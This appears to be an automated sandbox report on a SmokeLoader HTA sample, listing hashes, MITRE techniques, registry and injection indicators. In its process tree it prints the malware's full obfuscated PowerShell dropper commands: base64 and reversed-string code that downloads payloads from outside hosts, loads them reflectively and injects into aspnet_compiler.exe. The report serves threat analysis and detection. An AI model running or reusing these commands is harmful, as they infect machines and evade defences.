smokeloader | 35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5

Analysis

max time kernel
92s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19-11-2024 04:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5.hta
Size

178KB
MD5

05dcffe1d8e8e209a90b522192ad8000
SHA1

77c19b392d39bce4906b5c4e5f1ab0a0c9182dc7
SHA256

35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5
SHA512

11eafd5f126bb4873ec7be1dc6fe7246f3de8324c413073bc914827695ed1db1bb9b6e870414c0d4aba990a6a817d6c029f7aa02e5061434dcdb965a378b5734
SSDEEP

48:4vahW5oZz7eWLB2ZfywyQhhY1ywyQbD6ngS5RJCS0d399Dd5nCYmIYZAjo3ueufc:4vCl17ZtQjtQhVFlfnnCO4AjovtQX5Q

Score

10^/10

smokeloader backdoor defense_evasion discovery execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Smokeloader family
smokeloader
Blocklisted process makes network request 3 IoCs

Processes:

PoWERsHeLl.EXepowershell.exe

flow pid process

16 436 PoWERsHeLl.EXe
19 1780 powershell.exe
26 1780 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2288 powershell.exe
1780 powershell.exe
Evasion via Device Credential Deployment 2 IoCs
defense_evasion execution

Processes:

PoWERsHeLl.EXepowershell.exe

pid process

436 PoWERsHeLl.EXe
1056 powershell.exe

flow	pid	process
16	436	PoWERsHeLl.EXe
19	1780	powershell.exe
26	1780	powershell.exe

pid	process
2288	powershell.exe
1780	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exemshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1780 set thread context of 1028 1780 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 1780 set thread context of 1028	1780	powershell.exe	aspnet_compiler.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cvtres.exeWScript.exepowershell.exepowershell.exemshta.exePoWERsHeLl.EXepowershell.execsc.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PoWERsHeLl.EXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

PoWERsHeLl.EXepowershell.exepowershell.exepowershell.exe

pid	process
436	PoWERsHeLl.EXe
436	PoWERsHeLl.EXe
1056	powershell.exe
1056	powershell.exe
2288	powershell.exe
2288	powershell.exe
1780	powershell.exe
1780	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

PoWERsHeLl.EXepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	436	PoWERsHeLl.EXe
Token: SeDebugPrivilege	1056	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	1780	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

mshta.exePoWERsHeLl.EXecsc.exeWScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 4872 wrote to memory of 436	4872	mshta.exe	PoWERsHeLl.EXe
PID 4872 wrote to memory of 436	4872	mshta.exe	PoWERsHeLl.EXe
PID 4872 wrote to memory of 436	4872	mshta.exe	PoWERsHeLl.EXe
PID 436 wrote to memory of 1056	436	PoWERsHeLl.EXe	powershell.exe
PID 436 wrote to memory of 1056	436	PoWERsHeLl.EXe	powershell.exe
PID 436 wrote to memory of 1056	436	PoWERsHeLl.EXe	powershell.exe
PID 436 wrote to memory of 516	436	PoWERsHeLl.EXe	csc.exe
PID 436 wrote to memory of 516	436	PoWERsHeLl.EXe	csc.exe
PID 436 wrote to memory of 516	436	PoWERsHeLl.EXe	csc.exe
PID 516 wrote to memory of 5052	516	csc.exe	cvtres.exe
PID 516 wrote to memory of 5052	516	csc.exe	cvtres.exe
PID 516 wrote to memory of 5052	516	csc.exe	cvtres.exe
PID 436 wrote to memory of 3020	436	PoWERsHeLl.EXe	WScript.exe
PID 436 wrote to memory of 3020	436	PoWERsHeLl.EXe	WScript.exe
PID 436 wrote to memory of 3020	436	PoWERsHeLl.EXe	WScript.exe
PID 3020 wrote to memory of 2288	3020	WScript.exe	powershell.exe
PID 3020 wrote to memory of 2288	3020	WScript.exe	powershell.exe
PID 3020 wrote to memory of 2288	3020	WScript.exe	powershell.exe
PID 2288 wrote to memory of 1780	2288	powershell.exe	powershell.exe
PID 2288 wrote to memory of 1780	2288	powershell.exe	powershell.exe
PID 2288 wrote to memory of 1780	2288	powershell.exe	powershell.exe
PID 1780 wrote to memory of 1028	1780	powershell.exe	aspnet_compiler.exe
PID 1780 wrote to memory of 1028	1780	powershell.exe	aspnet_compiler.exe
PID 1780 wrote to memory of 1028	1780	powershell.exe	aspnet_compiler.exe
PID 1780 wrote to memory of 1028	1780	powershell.exe	aspnet_compiler.exe
PID 1780 wrote to memory of 1028	1780	powershell.exe	aspnet_compiler.exe
PID 1780 wrote to memory of 1028	1780	powershell.exe	aspnet_compiler.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4872
- C:\Windows\SysWOW64\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe
  "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1056
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1a4khyo1\1a4khyo1.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:516
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9C30.tmp" "c:\Users\Admin\AppData\Local\Temp\1a4khyo1\CSC573A2692AAF2493585276AF1F9EC1B2.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5052
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3020
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2288
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','|').rEPlaCE('seY','$')| . ((gV '*Mdr*').nAmE[3,11,2]-jOIN'')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1780
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        Checks SCSI registry key(s)
        
        PID:1028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PoWERsHeLl.EXe.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
0ecbd1985dcfd372294b8d191d1fa94c

SHA1
96c258e50197c62c7925df0a36340314fb217b45

SHA256
425bfcee9dea8ae9a886e4b602c057c81c2f176f14c5c47571fb431a1c7a5ac4

SHA512
8a76b1809baac3a988c98a27ccc5b0be0d478793522788537292117659f73e9050472a34f591892aa4758ca5094267015cfac8734c804993344e19aa8e9b8bb6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
0e44b215b7c30dc3f5de8836e7ef5d5a

SHA1
e4381d83afabf7a0c78e23cab41cfe2dc9b12d6a

SHA256
99eaf36fcb332cfe25d30dc359eaeb27a3cca0a221be7751eec2ec5ab17a7cbe

SHA512
31d1d89eb8f7557904df64a8e1ffcb14a8a3c62a45f827e18b606fa317cb335bae656b0b1b42fabeb294f035d034506225d40e7ada357f4a9c8676447f4579d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\1a4khyo1\1a4khyo1.dll

Filesize
3KB

MD5
7a5583b38ed05b4631ab831f9ed8ff34

SHA1
175284a2e8717dd67a99f5b26ed2b4a8d251c740

SHA256
0ede77930b91caa0ba6b1aec1eb7ee547c8e9694a5a5cfe5cc75013a6d99d09b

SHA512
8dfb8ece5e0ed33733b0184575f95da0aca3b0cc312b08881e95218cf0ad3e27280145915e7328165efd5997ff45490ce2ab84e3b03dd690833c9e0d7c59513d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9C30.tmp

Filesize
1KB

MD5
1db62d9596b58e37a89f9137f0bea652

SHA1
524b6322291319a234708a606a32510af8ea1e97

SHA256
f382a2cc01de423095ee9f61545a7c1f06bf2c3af219c1e2c4bce107f6bd3fa6

SHA512
011a41162b6b8a4d2bd9ad94807b4b43a57ba71b11af526a15a61bf3de22170a06e639a4a25a9af4cd6d270c8f8db1e3842f99e80a6aa388ae4e88042d88b392

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_atirqdz3.fam.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS

Filesize
137KB

MD5
855d024750a1bc1bc078e60c05e506e3

SHA1
480c344ef4e060adb7ca7e159c815cb38ac87614

SHA256
560327e8e4c818547fe966c8704d97270986b7457d62a154219e81ed4afb4667

SHA512
64a68dd3c8750e7a90c95078dc1db87086c546212b56348e6d45f4444b5dd7e6725f3b5ddbc2c414d08a7df2fbf2eecd11b9ab414588ac7b66f57f70fbb85c94

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1a4khyo1\1a4khyo1.0.cs

Filesize
472B

MD5
1a212b8a44924d84eeba108f2409b5e8

SHA1
b19066fab9c3329cd206958dacee65a08607586b

SHA256
977b687ccdcaea25b4afdd04dbac19bf12b31afad4ae226d7b7e5ed5cabcf073

SHA512
4d4bbada1880ce68ceeaff34a1d412350f715c0f5f741f7f47692549280dc92738881ce1fff7bbcd472610a63d99ded94ca713cc859b330a07d13df2313ea453

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1a4khyo1\1a4khyo1.cmdline

Filesize
369B

MD5
7a50aa1cc1c4b6bba4f4f81e50561396

SHA1
cf5818710194040de84f884444fdb5b6cd35495f

SHA256
1daef9df4bc1c3d3788276eabc1dceb155aca50faa5727648246f505e762534d

SHA512
547cd8bbd3fcceb7748b180ddd6d8bd3875b9f13fad1559017da4136925c551d659863a823623eb7d86db58be2617a2678db3bbe5eb7ff0496fe51e255fae671

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1a4khyo1\CSC573A2692AAF2493585276AF1F9EC1B2.TMP

Filesize
652B

MD5
e22f57cc8d7acd29673bb3e618134b3e

SHA1
30d5ce887aad883f92ad87917224c4d20200b46e

SHA256
991cf84c32663e5bb604c8dba614624eee8b9e1cd0e949d50fd59196cd42e640

SHA512
477ae31bd46ed4251f9865fe40cd57304bc6850be2bc768b607d8fad8fdf1581f62408db4bcbd4bd7004b3e9a94bf39a19f0a2682e7447ab2be215804aa05533

Download Submit
memory/436-18-0x0000000005B00000-0x0000000005B1E000-memory.dmp

Filesize
120KB

Download
memory/436-72-0x00000000710E0000-0x0000000071890000-memory.dmp

Filesize
7.7MB

Download
memory/436-1-0x0000000002140000-0x0000000002176000-memory.dmp

Filesize
216KB

Download
memory/436-78-0x00000000710E0000-0x0000000071890000-memory.dmp

Filesize
7.7MB

Download
memory/436-2-0x0000000004D60000-0x0000000005388000-memory.dmp

Filesize
6.2MB

Download
memory/436-3-0x00000000710E0000-0x0000000071890000-memory.dmp

Filesize
7.7MB

Download
memory/436-4-0x00000000710E0000-0x0000000071890000-memory.dmp

Filesize
7.7MB

Download
memory/436-19-0x0000000006090000-0x00000000060DC000-memory.dmp

Filesize
304KB

Download
memory/436-71-0x00000000710EE000-0x00000000710EF000-memory.dmp

Filesize
4KB

Download
memory/436-5-0x0000000004AA0000-0x0000000004AC2000-memory.dmp

Filesize
136KB

Download
memory/436-65-0x0000000006A70000-0x0000000006A78000-memory.dmp

Filesize
32KB

Download
memory/436-7-0x0000000004BB0000-0x0000000004C16000-memory.dmp

Filesize
408KB

Download
memory/436-6-0x0000000004B40000-0x0000000004BA6000-memory.dmp

Filesize
408KB

Download
memory/436-17-0x0000000005450000-0x00000000057A4000-memory.dmp

Filesize
3.3MB

Download
memory/436-0-0x00000000710EE000-0x00000000710EF000-memory.dmp

Filesize
4KB

Download
memory/1028-101-0x0000000000400000-0x000000000040B000-memory.dmp

Filesize
44KB

Download
memory/1056-42-0x00000000080A0000-0x000000000871A000-memory.dmp

Filesize
6.5MB

Download
memory/1056-43-0x0000000007A50000-0x0000000007A6A000-memory.dmp

Filesize
104KB

Download
memory/1056-47-0x0000000007C80000-0x0000000007C8E000-memory.dmp

Filesize
56KB

Download
memory/1056-46-0x0000000007C50000-0x0000000007C61000-memory.dmp

Filesize
68KB

Download
memory/1056-41-0x0000000007940000-0x00000000079E3000-memory.dmp

Filesize
652KB

Download
memory/1056-44-0x0000000007AB0000-0x0000000007ABA000-memory.dmp

Filesize
40KB

Download
memory/1056-48-0x0000000007C90000-0x0000000007CA4000-memory.dmp

Filesize
80KB

Download
memory/1056-50-0x0000000007CD0000-0x0000000007CD8000-memory.dmp

Filesize
32KB

Download
memory/1056-45-0x0000000007CE0000-0x0000000007D76000-memory.dmp

Filesize
600KB

Download
memory/1056-40-0x0000000006CC0000-0x0000000006CDE000-memory.dmp

Filesize
120KB

Download
memory/1056-30-0x000000006D9A0000-0x000000006D9EC000-memory.dmp

Filesize
304KB

Download
memory/1056-29-0x0000000007900000-0x0000000007932000-memory.dmp

Filesize
200KB

Download
memory/1056-49-0x0000000007DA0000-0x0000000007DBA000-memory.dmp

Filesize
104KB

Download
memory/1780-100-0x0000000007A80000-0x0000000007B1C000-memory.dmp

Filesize
624KB

Download
memory/1780-99-0x0000000007920000-0x0000000007A78000-memory.dmp

Filesize
1.3MB

Download
memory/2288-88-0x0000000006510000-0x0000000006864000-memory.dmp

Filesize
3.3MB

Download